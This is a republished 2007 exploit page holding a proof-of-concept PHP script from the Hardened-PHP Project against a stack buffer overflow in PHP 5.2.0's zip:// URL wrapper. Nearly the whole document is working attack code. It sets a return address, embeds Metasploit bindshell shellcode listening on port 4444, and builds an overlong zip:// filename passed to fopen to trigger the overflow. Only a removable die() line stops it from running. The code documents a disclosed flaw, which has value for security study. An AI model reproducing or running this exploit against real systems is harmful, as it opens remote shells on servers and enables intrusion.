exploits , vulnerabilities , articles , PHP 5.2.0 / PHP with PECL ZIP <= 1.8.3 zip:// URL Wrapper BoF Exploit

Rated as : High Risk

<?php
 
////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___ 
//
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \
//
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/
//
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|  
//
  //                                                                   
//
  //         Proof of concept code from the Hardened-PHP Project       
//
  //                   (C) Copyright 2007 Stefan Esser                 
//
  //                                                                   
//
 
////////////////////////////////////////////////////////////////////////
  //            PHP zip:// URL Wrapper Stack Buffer Overflow           
//
 
////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // Offset of a POP EBP, RET inside the PHP binary
  $offset = 0x080d7da3;

  // linux x86 bindshell on port 4444 from Metasploit
  $shellcode =
"\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".
     
"\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
     
"\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
     
"\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
     
"\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
     
"\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
      "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65";

  // Align the shellcode on 4 bytes      
  while (strlen($shellcode) % 4 != 0) $shellcode .= "X";

  // Convert Offset into String and calculate size
  $str = pack("L", $offset);
  $len = 4096 + 32 - strlen($shellcode) - 400;
  
  // Construct the filename
  $fname = "zip://A".str_repeat("A",
400)."$shellcode".str_repeat($str, $len /
4)."#EXPLOIT";


  
  // Trigger the EXPLOIT could also be a remote URL include
  fopen($fname,"a+");

?>

securitydot.net - 2007-03-09